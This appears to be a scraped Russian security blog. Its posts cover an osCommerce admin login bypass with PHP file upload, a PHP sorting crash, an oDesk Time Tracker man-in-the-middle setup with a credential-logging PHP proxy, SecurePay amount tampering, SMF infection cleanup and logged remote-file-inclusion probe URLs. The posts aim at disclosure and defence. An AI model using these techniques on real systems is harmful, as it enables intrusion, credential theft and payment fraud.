Сегодня один из моих клиентов пожаловался, что его online-магазин (на базе osCommerce) в очередной раз взломали и записали закодированный файл q_boot.php в каталог images. Хотя с osCommerce я сталкивался только один раз в жизни (подчищал вирус наподобие этого), меня этот случай очень заинтересовал: уязвимость, которая позволяет злоумышленнику залить на сервер произвольный файл — это очень серьёзно.

Естественно, что от техподдержки клиента я не смог получить лог доступа к сайту (взломали неделю назад), чтобы посмотреть, с каких IP-адресов обращались к этому images/q_boot.php и проследить историю запросов. Это было бы слишком легко. Пришлось копаться в коде панели администрирования.

В частности, один из скриптов, который позволяет загружать файлы — это admin/banner_manager.php. Я начал с него, стал анализировать все включаемые файлы. Дыра нашлась за три минуты.

В admin/includes/application_top.php есть такой вот уязвимый код:

Уязвимость не очевидна, если не знать разницу между $_SERVER['SCRIPT_NAME'], $_SERVER['SCRIPT_FILENAME'] и $_SERVER['PHP_SELF'].

В частности, PHP_SELF содержит

The filename of the currently executing script, relative to the document root. For instance, $_SERVER['PHP_SELF'] in a script at the address http://example.com/test.php/foo.bar would be /test.php/foo.bar.

Константа FILENAME_LOGIN определена как login.php.

Таким образом, обращение к /admin/banner_manager.php/login.php приведёт к тому, что в $_SERVER['PHP_SELF'] будет /admin/banner_manager.php/login.php, исполняться будет /admin/banner_manager.php, а basename($_SERVER['PHP_SELF']) будет — правильно, login.php. Условие в строке 138 не выполнится, и злоумышленник благополучно минует авторизацию.

Теперь эксплуатация уязвимости в картинках (изображения можно и нужно кликать):

Первый скриншот демонстрирует возможность обхода авторизации и получения доступа к скриптам панели администрирования.

Второй скриншот демонстрирует изменение URL’а формы (при помощи FireBug) и загрузку PHP-файла.

На третьем скриншоте мы видим, что файл был успешно загружен (хотя мы и были перенаправлены на форму авторизации). А ведь все пользовательские данные нужно тщательно проверять!

На четвёртом скриншоте мы видим, что загруженный PHP-файл можно успешно выполнить Что и требовалось показать

Теперь о том, как это всё исправить.

А исправляется всё очень просто: исправляем

на

А еще лучше — отказываемся от osCommerce в пользу чего-нибудь нормального, так как эта уязвимость — не единственная.

К слову, текущая Alpha osCommerce 3 тоже уязвима, только по-другому… Делайте выводы.

© 2008–2010 Ars Longa, Vita Brevis. Все права защищены. Перепубликация материалов без разрешения автора запрещена.

При использовании материалов блога наличие активной не закрытой от индексирования ссылки на источник обязательно.

Связанные записи

• Уязвимость в форуме SMF (2)
• Как не нужно интегрировать платёжные системы (8)
• Уязвимости oDesk (2)
• Простой DoS для PHP (3)
• Минимизируем неприятные последствия HTTP-сканирования (24)

Копался сегодня во внутренностях PHP, и обнаружил такую вещь: функция zend_hash_sort() (она вызывается из функций типа usort() и прочих) сортирует не сам массив (в терминах Zend Engine), а массив (в терминах языка C) указателей на элементы массива (в терминах Zend Engine), а потом по отсортированному C-массиву пересоздаёт PHP-массив.

Строка 13 (что само по себе символично) создаёт временный массив, достаточный для размещения указателей на все элементы массива, строки 17–23 заполняют этот временный массив указателями на элементы PHP-массива, строка 25 вызывает функцию сортировки, в строках 28–44 PHP-массив «пересоздается».

Что это даёт: если у нас имеется массив строк (массивов, объектов), а наша функция сортировки — о, ужас! — изменяет этот массив (например, удаляет из него элемент), а после сортировки производится обращение к этому элементу, то PHP вылетит по ошибке сегментации. Это является следствием того, что PHP-массив изменяется в процессе сортировки (из него удаляется элемент, а связанная с ним память освобождается), а C-массив содержит указатели на освобождённую память. При обращении к этой освобождённой памяти происходит ошибка сегментации.

Proof of Concept:

В зависимости от конфигурации (всякие там Suhosin) может потребоваться увеличить длину строк в массиве, либо агрессивнее обратиться к массиву (например, вызвать sort() сразу после usort()).

Вышеприведённый скрипт успешно устроил 502 Bad Gateway на сервере с Suhosin (да так, что последний даже не пожаловался).

PHP в Ubuntu Karmic (5.2.10.dfsg.1-2ubuntu5) оказался уязвимым, а вот сборка от dotdeb (5.2.11-0.dotdeb.1) — нет (возможно, что ошибка исправлена в 5.2.11, хотя в changelog ничего не видно).

Что даёт уязвимость:

• если администратор криворукий, то можно забить место на диске core dump’ами (5-6 дампов — почти гигабайт, YMMV);
• так как данная уязвимость демонстрирует повреждение памяти, при соответствующем исследовании можно переписать произвольные участки памяти PHP (например, отключить безопасный режим, включить register_globals, отключить magic_quotes_gpc и т.п.).

© 2008–2010 Ars Longa, Vita Brevis. Все права защищены. Перепубликация материалов без разрешения автора запрещена.

При использовании материалов блога наличие активной не закрытой от индексирования ссылки на источник обязательно.

Связанные записи

• О пользе избыточной инициализации, или, В исходный код смотреть вредно (0)
• Водка с феназепамом? Или всё-таки правда? (21)
• PHP 5.2.6 в Debian Lenny: неожиданный сюрприз (4)
• Уязвимость в форуме SMF (2)
• Уязвимости oDesk (2)

Вчера вышел WordPress 2.8.4, исправляющий уязвимость при сбросе пароля пользователя. С помощью специально сформированного URL можно было сбросить пароль первому пользователю, который никогда не сбрасывал пароль (обычно это администратор). Удалённый доступ это не даёт, но, по словам разработчиков, всё же неприятно.

Те, кто не хотят качать двухмегабайтный архив ради исправления одной единственной ошибки, могут применить данный патч:

Те, у кого стоит WordPress 2.7, могут воспользоваться данным патчем:

Патч нормально ложится на стандартный WordPress 2.7. Исправляется только уязвимость, связанная со сбросом пароля.

© 2008–2010 Ars Longa, Vita Brevis. Все права защищены. Перепубликация материалов без разрешения автора запрещена.

При использовании материалов блога наличие активной не закрытой от индексирования ссылки на источник обязательно.

Связанные записи

• Учим WordPress правильно кодировать письма в UTF-8 (30)
• Удаление родительского комментария приводит к неправильному отображению дочерних комментариев (10)
• Сброс пароля в WordPress 2.5.1 (5)
• Повод для гордости (5)
• Патч для WP WassUp 1.5.1 (1)

Сканируя Nessus парочку хостов, столкнулся с тем, что Nessus определял, что система (Linux 2.6.x) не фильтрует TCP/IP пакеты, у которых установлены флаги SYN и FIN, что, теоретически, может привести к обходу межсетевого экрана (firewall).

Подробности об уязвимости в архиве Neohapsis и в базе данных US CERT (что характерно, уязвимость датируется 2002 годом). С другой стороны, RFC1644 разрешает пакеты, с установленными флагами SYN и FIN.

Тем, кому T/TCP не интересен, закрывать уязвимость могут следующим образом:

Кроме того, я запрещаю ICMP-запросы address mask request и timestamp request:

и отбрасываю все неверные пакеты:

© 2008–2010 Ars Longa, Vita Brevis. Все права защищены. Перепубликация материалов без разрешения автора запрещена.

При использовании материалов блога наличие активной не закрытой от индексирования ссылки на источник обязательно.

Связанные записи

• Скажи «Нет!» взломщику: часть 2 (2)
• Скажи «Нет!» взломщику (15)
• Как правильно использовать диапазон портов в –sport и –dport в iptables с использованием multiport (0)
• Борьба со спамом на уровне фильтра пакетов (6)
• Борьба с ботами-взломщиками средствами rsyslogd (5)

1. oDesk Time Tracker does not verify the SSL certificate of the host it connects to thus becoming vulnerable to various Man-in-the-Middle attacks (if an attacker is able to spoof DNS for team.odesk.com — say, by setting up a fake DHCP and DNS servers in the local network — or posion the DNS cache or whatever — this is doable).

   To imitate the DNS spoofing we will need to edit /etc/hosts file:

   127.0.0.1 team.odesk.com

   And set up a virtual host for our local web server (which will act as a proxy between the Time Tracker and the oDesk server) — I used nginx:

   server {
       listen 80;
       server_name team.odesk.com;
   
       access_log  /var/log/nginx/team.odesk.com-access.log;
       error_log  /var/log/nginx/team.odesk.com-error.log;
   
       root /var/www/team.odesk.com;
   
       try_files junk @proxy;
   
       location @proxy {
           fastcgi_pass 127.0.0.1:8000;
           fastcgi_index index.php;
           fastcgi_param SCRIPT_FILENAME /var/www/team.odesk.com/index.php;
           include /etc/nginx/fastcgi_params;
       }
   }
   
   server {
       listen 443;
       keepalive_timeout 70;
   
       server_name  default;
       access_log  /var/log/nginx/secure-team.odesk.com-access.log;
       error_log  /var/log/nginx/secure-team.odesk.com-error.log;
   
       ssl on;
       ssl_certificate /etc/nginx/certs/fake-cert.crt;
       ssl_certificate_key /etc/nginx/certs/fake-cert.key;
       ssl_session_timeout 5m;
   
       ssl_protocols SSLv3 TLSv1;
       ssl_ciphers HIGH:MEDIUM;
       ssl_prefer_server_ciphers on;
       ssl_session_cache shared:SSL:10m;
   
       root /var/www/team.odesk.com;
   
       try_files junk @proxy;
   
       location @proxy {
           fastcgi_pass 127.0.0.1:8000;
           fastcgi_index index.php;
           fastcgi_param SCRIPT_FILENAME /var/www/team.odesk.com/index.php;
           include /etc/nginx/fastcgi_params;
       }
   }

   Nice PHP proxy that logs all communication between the client and server:

   <?php
       if (false == empty($_POST)) {
           $ch = curl_init('https://209.128.65.132' . $_SERVER['REQUEST_URI']);
   
           $data = $_POST;
           if (false == empty($_FILES)) {
               foreach ($_FILES as $key => $item) {
                   $data[$key] = '@' . $item['tmp_name'];
               }
           }
   
           $f = fopen(dirname(__FILE__) . '/log.txt', "a");
           fwrite($f, $_SERVER['REQUEST_URI'] . "\n");
           fwrite($f, "<<<\n");
           fwrite($f, print_r($data, 1));
           fwrite($f, ">>>\n");
   
           curl_setopt($ch, CURLOPT_POST, true);
           curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
           curl_setopt($ch, CURLOPT_HTTPHEADER, array('Host: team.odesk.com'));
           curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
           curl_setopt($ch, CURLOPT_HEADER, false);
           curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
           curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
   
           $s = curl_exec($ch);
           curl_close($ch);
           fwrite($f, $s);
           fwrite($f, "---\n\n\n");
           fclose($f);
           print $s;
       }
       else {
           print "status=S_OK\n";
           print "Fraude perit virtus";
       }
   ?>

   Thus, when a provider logs into his oDesk Account using the tracker, his session gets intercepted and all traffic can be logged:

   SERVER: https://209.128.65.132/client/receiver
   IN:
   Array
   (
       [version] => Linux/1.3.4
       [status] => C_NORMAL
       [company] => ics2:ics2
       [user] => vkolesnikov
       [password] => password_goes_here
       [uid] => 5f323dce-ee5c-4347-9074-ed5d356362d4
       [computer] => SJINKS
       [os] => Linux Ubuntu 9.04 (2.6.28-13-server)
       [snapint] => 600
       [trigger] => login
       [keyev] => 1
       [mousev] => 1
       [events_per_minute] => 1245070126,1,1
       [activewintitle] => client : mc
       [screensaveron] => false
       [memo] =>.
       [task_id] =>.
       [task_description] =>.
       [screenshot_width] => 1680
       [screenshot_height] => 1050
       [timestamp] => 1245070127
       [screen] => @/tmp/phpqzwmeh
   )
   
   OUT:
   status=S_OK
   servertime=1245070127
   hiresdesktop=enable
   webcam=user
   period=600
   use_https=yes
   company_name=ICS
   first_name=Vladimir
   last_name=Kolesnikov
   tz=Europe/Athens
   company=ics2:ics2
   login=vkolesnikov
   companies=Sphere314,extrememember,ics2:ics2
   odeskmeter=0.67,0.67,74.17,16.75,16.75,1854.25
   task_integration_policy=1
   cache_size=120
   And here comes the second vulnerability.
2. Since the attacker is able to intercept the session, he would be able to intercept the login and password the provider used to log in (since they are transferred in clear text). And since oDesk Time Tracker login is the same as odesk.com login the attacker will be able to log in as the provider whose session he has intercepted/ With the help of social engineering it could be possible to find the answer to the secret question (actually it could be easier than to spoof the DNS); and if the provider is away, the attacker can make a withdrawal to his account.

The main issue is that oDesk Time Tracker does not verify the host it connects to — which makes these vulnerabilities possible. If SSL certificate verification is implemented, this will make attacker’s life more difficult. And to improve security of the odesk.com account the oDesk Time Tracker could send a hash of the password instead of the password itself. Provided that a strong and secure hash function is used, it will be nearly impossible to reverse the hash to get the original password. Then oDesk account is safe, and even if the oDesk Team session is intercepted, the attacker would be unable to do anything with provider’s account.

© 2008–2010 Ars Longa, Vita Brevis. Все права защищены. Перепубликация материалов без разрешения автора запрещена.

При использовании материалов блога наличие активной не закрытой от индексирования ссылки на источник обязательно.

Связанные записи

• Безопасность, о которой все так много говорят… (12)
• Уязвимости oDesk (2)
• Простой DoS для PHP (3)
• Настройка nginx и PHP/FastCGI в Windows (41)
• Минимизируем неприятные последствия HTTP-сканирования (24)

В последнее время участились сообщения о взломах форумов, работающих на SMF (Simple Machines Forum), среди пострадавших оказался и форум русского сообщества Ubuntu. Но в чем именно проблема и чего бояться непонятно, информации было крайне мало.

Сегодня появилась дополнительная информация. Данной уязвимости подвержены все версии форума, включая последнюю стабильную версию 1.1.8. Уязвимость существует в функции масштабирования аватаров.

Дополнительная информация здесь.

Проявляется эта уязвимость следующим образом: во все PHP-файлы приписывается такая строка:

BASE64 декодируется в такой PHP-код (я отформатировал код, чтобы сделать его читаемым):

“Заражаются” все PHP-файлы, до которых “вирус” смог добраться: если у Вас на сайте живёт не только форум, то Вам не повезло. Как вариант, можно восстановить все файлы из резервной копии. Но что делать, если резервной копии нет?

Есть два варианта.

1. Отредактировать файлы вручную (желаю удачи, если заражено несколько сотен файлов).
2. Написать скрипт, уничтожающий заразу на корню.

Первый вариант рассматривать не буду из-за его непрактичности, поэтому переходим сразу ко второму.

Сначала нужно определить источник заразы. Предположим, что один из зараженных файлов называется file.php. Тогда в командной строке нужно выполнить такую команду:

На выходе появится что-то вида

Вместо /path/to/style.css.php будет полный путь к файлу-источнику заразы. Его нужно удалить. Или, если не трудно, пришлите мне — интересно посмотреть, что же он творит (на машине, где я чистил файлы, вирус записался во временный каталог и был прибит кроном).

После этого приступаем к чистке файлов.

Внимание! Перед запуском скрипта создайте резервную копию Вашего сайта! Хотя скрипт и тестировался в боевых условиях, безопасность никто не отменял.

Допустим, что сайты живут в каталоге /var/www (если нет, укажите свой путь).

Выполняем в командной строке следующие команды:

Вторая команда работает следующим образом: grep -Rl "<?php /\\*\\*/eval(base64_decode('aWYoZn" * рекурствно обходит все каталоги и выводит имена файлов, содержащие сигнатуру <?php /**/eval(base64_decode('aWYoZn. Для верности можно задать параметр -m 1 — тогда grep будет проверять только первую строку каждого файла (код располагается именно в первой строке).

Список найденных файлов передаётся xargs, который выполняет sh -c "echo {}; (rm '{}'; sed \"/<?php \\/\\*\\*\\/eval(base64_decode('aWYoZ/ d\" > '{}') < '{}'". Не очень эффективно, но это связано с использованием перенаправления ввода-вывода.

sed "/<?php \\/\\*\\*\\/eval(base64_decode('aWYoZ/ d" удаляет код вируса из файла.

Конструкция (rm file; something > file) < file — это переносимый способ для редактирования файла “на месте” (данные читаются из файла, модифицируются и записываются обратно в тот же файл).

Вся конструкция ищет файлы, содержащие сигнатуру вируса, в текущем каталоге и всех его подкаталогах, и удаляет из файлов вирусный код.

Update: мне в голову пришел более простой вариант, но я его не проверял:

© 2008–2010 Ars Longa, Vita Brevis. Все права защищены. Перепубликация материалов без разрешения автора запрещена.

При использовании материалов блога наличие активной не закрытой от индексирования ссылки на источник обязательно.

Связанные записи

• Как не нужно интегрировать платёжные системы (8)
• Уязвимости oDesk (2)
• Серьёзная уязвимость в osCommerce 2.2 RC 2a (8)
• Простой DoS для PHP (3)
• Минимизируем неприятные последствия HTTP-сканирования (24)

Внимание: данную статью не следует воспринимать как руководство юного хакера; материал приведён исключительно в ознакомительных целях, чтобы программисты не повторяли подобных ошибок.

Итак, имеем платёжную форму (информация, идентифицирующая сайт, затёрта):

Ничего сверхестественного: нам предлагают купить некую услугу за $99 в месяц. Всё как обычно. Интересные вещи начинаются, когда смотришь на детали формы:

Для тех, кто не знает: сумма платежа для системы SecurePay задается как целое число (исходноё значение умножается на 100). Так, $99.00 передается как 9900, а, скажем, $20.45 — как 2045.

У любого человека, занимавшегося интеграцией платёжных систем и имеющего опыт в компьютерной безопасности, возникает законный вопрос: если скрипт перед отправкой платёжных данных обрабатывает эти самые данные, зачем помещать в форму итоговое значение, причем отформатированное для платёжной системы? Если этот человек имел дело с индопакистанофилиппинцами, то ему только остаётся схватиться за голову.

А что произойдет, если подменить значение на, скажем, 0100 ($1)? На нулевое менять нельзя, любая уважающая себя платёжка ругнётся; например, так:

Кстати, отрицательный результат — тоже результат: ошибку возвращает SecurePay, а из этого следует, что скрипт не проверяет значение суммы платежа, и ему можно скормить любое значение!

Итак, меняем сумму платежа:

И отправляем форму. В результате получаем такую картину:

Осталось посмотреть, сколько денег снялось:

Как видим, снялся $1.00 — операция прошла успешно.

Программистам (справедливости ради стоит отметить, что это были не индийцы, а румынец из компании SurgeWorks) могу сказать следующее: никогда не доверяйте данным, которые пришли от пользователя. Лень (и непрофессионализм) в этом случае могут обернуться большими потерями.

Update: чтобы ни у кого не возникало желание обвинить меня в обмане владельца сайта и взломе всяких разных сайтов, к которым я не имею никакого отношения (Jurgen, привет!): я поставил владельца сайта в известность, и мы с ним работаем над устранением уязвимости.

© 2008–2010 Ars Longa, Vita Brevis. Все права защищены. Перепубликация материалов без разрешения автора запрещена.

При использовании материалов блога наличие активной не закрытой от индексирования ссылки на источник обязательно.

Связанные записи

• Уязвимость в форуме SMF (2)
• Безопасность, о которой все так много говорят… (12)
• Уязвимости oDesk (2)
• Серьёзная уязвимость в osCommerce 2.2 RC 2a (8)
• Простой DoS для PHP (3)

Анализируя логи Апача после полуторамесячного отпуска, я обратил внимание на то, что попыток сканирования сайта на уязвимости стало гораздо больше (сравнивая, например, с летом). Я решил проанализировать все попытки и попытаться найти решение, которое держало бы юных хакеров подальше от сайта.

Если Вы всё еще читаете , то скажу, что практическая реализация моего решения требует наличие доступа на запись только к файлу .htaccess, поэтому всё должно работать даже на общем хостинге.

Начнём с объяснения, что я имею в виду под HTTP-сканированием. Под HTTP-сканированием я имею в виду попытки найти уязвимые компоненты сайта методом проб и ошибок. Например:

В логах мы видим, что некто 80.93.57.226 (этот адрес принадлежит PeterHost.Ru Hosting Provider) обходит сайт, пытаясь найти какую-то уязвимость (sorry, не знаю, какую) в результате которой скрипт выполнил бы файл http://www.mykr.net/bbs/id.txt.

Вряд ли этот файл долго проживёт, поэтому я приведу его код и объясню, что он делает:

Если скопировать этот файл на локальный компьютер и выполнить его, получится что-то вроде этого:

Я запускал скрипт из командной строки, поэтому он не смог определить параметры, относящиеся к HTTP-серверу.

Итак, что же даёт атакующему эта, казалось бы, безобидная информация? Информацию. О том, какая версия ядра установлена, какая версия Apache и PHP, uptime системы (помогает в случае обхода time based authentication, но это детали), адрес сервера. Зная подобную информацию, можно поискать эксплоит под конкретную версию программного обеспечения.

Даже если скрипт не выполнится, атакующий всё равно может получить некоторую информацию о системе. Например, CMS Typo3 частично подвержена данной уязвимости:

Атакующий получает возможность узнать, какое ПО стоит (в нашем случае это Typo3) и полный путь к ней (на многих хостингах этот путь включает имя пользователя).

Если же скрипт выполнится, это означает, что всё очень плохо: если смог выполниться простой безобидный скрипт, может выполниться и какой-нибудь шелл. Если у Вас выделенный сервер, он сможет пополнить ряды очередного ботнета.

Сканирование может быть не таким явным: например,

Так как я знаю, что у меня на сервере подобных файлов нет и быть не могло, я понимаю, что здесь что-то нечисто: ovsswr.dll — это Microsoft SharePoint Team Services; на подобный скан есть две точки зрения:

1. It is an attempt to gain admin rights (hack).

2. You're being visited by a user who has installed Microsoft Office and Internet Explorer, and who has enabled the "Discuss" toolbar in his browser. When that toolbar is enabled, the browser will automatically query for these two files when visiting each site, to determine whether the Office Server Extensions are installed.

   If you are on a Windows server, you can install Office Server Extensions (available in Office 2000) and then the /MSOffice/cltreq.asp path will contain a valid file, allowing visitors to discuss content. Wouldn't that be neat?

У каждого свой уровень паранойи (my paranoia is probably worse), так что смотрите сами.

Идём дальше. Зачастую хакеры (или скрипт-киддисы) сканируют сайты на наличие известных дыр, таких как SQL injection. Например, запрос

пытается использовать уязвимость плагина WassUp; в случае успеха он выдаст атакующему логины и хэш паролей пользователей.

Частыми гостями в логе nginx являются запросы вида

Запросы рассчитаны на ошибки в реализациях прокси-серверов.

Теперь переходим к вопросам анализа и противодействия.

Если Ваша хостинговая компания предоставляет вам доступ к логам Апача, Вы можете попытаться обнаружить попытки сканирования самостоятельно: для этого Вам надо найти все запросы, на которые сервер вернул код ошибки 404:

Если на сайте есть битые ссылки, то в логе будет много мусора. Его можно отфильтровать при помощи grep -v, я не буду на этом подробно останавливаться.

Для определения IP-адресов и количества полученных ответов 404 можно воспользоваться такой командой:

Если на IP-адрес приходится небольшое число ответов 404, такие адреса можно, скорее всего игнорировать. Допустим, если нам интересны только IP-адреса, сгенерировавшие не менее ста ответов 404, нам поможет такая команда (Linux rules, однозначно):

Файл filtered.txt будет содержать интересующие нас запросы.

Проанализировав свой файл, я пришел к следующим результатам:

• практически все запросы (query string), ориентированные на попытку выполнения удалённого (remote) скрипта, содержат в себе как минимум один лишний знак вопроса, например:

  //?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt?
  /sub.php?sub=http://61.19.234.26/test.txt???
  /admin.php?include_path=http://zionuccarendtsville.org/plugins/spamx/language/COPYRIGHT.txt??
  

  Первый знак вопроса означает начало строки запроса, а вот последний знак вопроса по всем правилам должен записываться как %3F. Я не знаю, зачем люди так сделали, но это отличная сигнатура для поиска;
• запросы, ищущие уязвимости в реализации прокси, имеют вид GET http://... или GET /http://.... Тоже достаточно просто отловить.
• из-за какого-то бага в реализации сканера, во многих запросах встречается удвоенный (а иногда даже утроенный) слэш:

  203.177.42.133 - - [22/Jul/2008:10:21:16 +0300] "GET /sitemap.xml///safehtml/safehtml.php?dir[plugins]=http://www.brazebo.it/echo.txt???? HTTP/1.1"
  86.109.96.134 - - [02/Aug/2008:23:53:53 +0300] "GET /sitemap.xml//wp-pass.php?_wp_http_referer=http://www.sv-haslach.com/modules/.../sistem.txt??? HTTP/1.1"
  

  Удвоенный еще куда ни шло, но утроенный — это перебор;
• у 85% процентов сканеров User-Agent установлен в libwww-perl (ибо Perl — истинно хакерский язык);
• сканеры, использующие уязвимости для обходафайловой системы, имеют в теле запроса сигнатуры ../ (Linux/Windows) и/или ..\ (Windows). Тоже легко ловится;
• как правило, большинство сканеров начинают обход с корня сайта: поиск уязвимостей производится методом проб и ошибок: вернул сервер 404? Ладно, пробуем следующий файл. Если же сервер для корня возвращает 403 Forbidden, сканеры обычно прекращают попытки (исключение составляют те сканеры, которые предварительно обходят весь сайт).

Проблема заключается в том, что если сканер начал искать уязвимости, то рано или позно он их может найти. А это именно то, что мы хотим избежать.

А теперь, собственно, решение. Открываем файл .htaccess и добавляем в него строки (желательно в самое начало):

Первый RewriteCond рассчитан на ботов, которые используют слишком много знаков вопроса, второй — на тех, кто пытается сделать обход файловой системы, третий — на тех, кто перебарщивает со слэшами и четвёртый — на тех, кто пытается найти уязвимый прокси.

Данное решение не является панацеей, но, тем не менее, довольно действенное.

Есть одно очень радикальное средство: запретить доступ всем libwww-perl:

Update: весьма полезная статья, о том, как блокировать нежелательных посетителей при помощи mod_rewrite.

© 2008–2010 Ars Longa, Vita Brevis. Все права защищены. Перепубликация материалов без разрешения автора запрещена.

При использовании материалов блога наличие активной не закрытой от индексирования ссылки на источник обязательно.

Связанные записи

• Водка с феназепамом? Или всё-таки правда? (21)
• Безопасность, о которой все так много говорят… (12)
• Уязвимость в форуме SMF (2)
• Уязвимости oDesk (2)
• Простой DoS для PHP (3)

Наткнулся сегодня на очень интересную статью:

Российский хакер, известный как Крис Касперски, обнаружил уязвимость в процессорах Intel, которая позволяет совершить удаленный взлом системы при помощи скрипта на JavaScript или TCP/IP-пакета вне зависимости от операционной системы. Об этом пишет PC World со ссылкой на краткое описание презентации, подготовленной Касперски.

Хакер намерен в октябре продемонстрировать свою методику на конференции Hack In The Box в малайзийском Куала-Лумпуре. Касперски заявил, что намерен показать работающий код и сделать его общедоступным. Он добавил, что ошибки в микропроцессорах становятся все более серьезной угрозой, так как уже пишутся использующие их зловредные программы.

По словам хакера, некоторые ошибки процессоров позволяют просто обрушить систему, другие помогают злоумышленнику получить доступ на уровне ядра ОС, а использование третьих отключает защиту Vista.

Крис Касперски продемонстрирует свою методику взлома на компьютерах с Windows XP, Vista, Windows Server 2003, Windows Server 2008, ОС на базе ядра Linux и BSD. Возможно, также добавится Mac. На все эти системы будут установлены последние обновления.

Всё же интересно: правда ли это? Или доблестные щелкопёры всё приукрасили?

В оригинале статьи сказано:

In this presentation, I will share with the participants the finding of my CPU malware detection research which was funded by Endeavor Security. I will also present to the participants my improved POC code and will show participants how it’s possible to make an attack via JavaScript code or just TCP/IP packets storms against Intel based machine. Some of the bugs that will be shown are exploitable via common instruction sequences and by knowing the mechanics behind certain JIT Java-compilers, attackers can force the compiler to do what they want (for example: short nested loops lead to system crashes on many CPUs). I will also share with the participants my experience in data recovery and how CPU bugs have actually contributed in damaging our hard drives without our knowledge.

И я вот не могу отделаться от подозрения, что всё это розыгрыш: начать уж с того, что Java != JavaScript, и не факт, что любой движок для JavaScript будет компилировать JavaScript в родной код процессора. И я не уверен, что процессор может напрямую повредить жесткий диск (разве что он будет скармливать контроллеру соответствующие команды). Обработкой TCP/IP-пакетов процессор напрямую вообще не занимается (если только я что-то не пропустил).

Очень подозреваю, что выяснится десяток жутко специальных требований, необходимых для успешной реализации данной уязвимости.

Но всё-таки, вдруг это не самореклама и Крис прав?

© 2008–2010 Ars Longa, Vita Brevis. Все права защищены. Перепубликация материалов без разрешения автора запрещена.

При использовании материалов блога наличие активной не закрытой от индексирования ссылки на источник обязательно.

Связанные записи

• Простой DoS для PHP (3)
• Минимизируем неприятные последствия HTTP-сканирования (24)
• Безопасность, о которой все так много говорят… (12)
• Уязвимость в форуме SMF (2)
• Уязвимости oDesk (2)

Всё-таки как можно переставить всё с ног на голову… Прочитал сегодня статью на CNews.com; она небольшая, привожу полностью:

Исследователь безопасности разработал сайт, наглядно демонстрирующий риск, с которым сталкиваются пользователи Windows при использовании браузера Safari от Apple.

ИБ-команда Microsoft уже предупредила, что «смешанная угроза» настолько серьезна, что пользователям Windows следует ограничить использование Safari до тех пор, пока не выйдет патч. В своем блоге исследователь Лю Ди Ю (Liu Die Yu) показал, что это предупреждение не было преувеличением.

При клике по указанной исследователем ссылке в Safari с настройками по умолчанию на рабочий стол пользователя Windows загружается файл-ловушка. В следующий раз, когда пользователь открывает Internet Explorer, файл автоматически запускает notepad.exe и открывает несуществующий файл. Разумеется, злоумышленники могут найти менее безобидное применение данной уязвимости, пишет The Register.

По словам Apple, уязвимость не является критической. Эта демонстрация свидетельствует об обратном.

Вопросы, возникающие при прочтении:

1. Если уязвим Safari, почему нужно запускать Internet Explorer? На мой взгляд, найденная "смешанная уязвимость" свидетельствует о том, что ограничить нужно как раз-таки использование Ишака, пока Micro$oft не выпустит патч.
2. Фраза "следует ограничить использование Safari до тех пор, пока не выйдет патч" — это свидетельство нечестной борьбы — более честным было бы выложить описание как изменить настройки Safari, чтобы не подвергать риску уязвимости Windows.

Озвучив для себя эти вопросы, я решил найти оригинал статьи, благо это было нетрудно.

Две фразы, которые мне очень понравились:

1. Microsoft used some vague wording in the advisory: "Suggested Actions" are "Restrict use of Safari as a web browser…", as if it's a flaw rooted in Safari.

2. In sub-folder of "Suggested Actions" Microsoft admits "Workarounds" as Change the download location of content in Safari to a newly created directory. The full statement should be "Change the download location of content in Safari to a newly created directory(to save the integrity of Windows Internet Explorer)".
   

Причем, судя по всему, фраза "Change the download location of content in Safari" появилась только 6 июня (то есть почти через неделю после того, как статья была опубликована на сайте Microsoft).

Теперь несколько слов об уязвимости. Права ли Microsoft, обвиняя Safari в уязвимости? Я согласен, загрузка файла без разрешения пользователя — это не хорошо. Но что заставляет Internet Explorer открывать этот файл? Ответ прост: Windows. То есть уязвимость здесь в ядре Windows, даже не в Internet Explorer. Объясню почему. В своём тестовом примере Liu Die Yu показывает, что в том, что Internet Explorer запускает Блокнот, "виновато" имя файла, который Safari сохраняет — schannel.dll (также сработают sqmapi.dll и imageres.dll).

Причина уязвимости здесь заключается в порядке поиска динамических библиотек (кому интересны все технические подробности — читайте MSDN про функции LoadLibrary и LoadLibraryEx). Идея состоит в том, что LoadLibrary ищет загружаемую библиотеку в рабочем каталоге (перед тем, как искать ее в системном каталоге). При запуске Ишака с Рабочего стола рабочим каталогом является Рабочий стол (вполне логично). Далее IE загружает библиотеки, дело доходит до schannel.dll. Благодаря стараниям Safari, на Рабочем столе файл с таким именем имеется; в результате Windows загружает именно его. А он выполняет своё "черное дело".

В итоге получаем, что в ядро Windows эта уязвимость была встроена изначально — что называется, "уязвимость по дизайну". Я бы на месте Некрософт не баги бы в Safari искал (хотя молодцы, ничего не скажешь: обставили уязвимость в ядре так, что виноват оказался другой продукт), а свои собственные ошибки исправлял

По сути дела, "уязвимой" может оказаться любая программа, которая положит что-нибудь на Рабочий стол. Кстати, и FireFox можно обвинить в "уязвимости", даже если он спросит пользователя о сохранении файла: многие пользователи очень доверчивы (к сожалению), и сохранят файл, если их попросят. А так как, по словам Microsoft, большинство пользователей оставляют настройки по умолчанию, то файл попадет на Рабочий стол.

Так что, господа Microsoft'овцы, исправляйте вы лучше свои ошибки, а не обвиняйте в них сторонние программы

© 2008–2010 Ars Longa, Vita Brevis. Все права защищены. Перепубликация материалов без разрешения автора запрещена.

При использовании материалов блога наличие активной не закрытой от индексирования ссылки на источник обязательно.

Связанные записи

• Уязвимость в форуме SMF (2)
• Уязвимости oDesk (2)
• Пять слов длиной в 56 мегабайт (0)
• Простой DoS для PHP (3)
• Почему я не люблю Microsoft (6)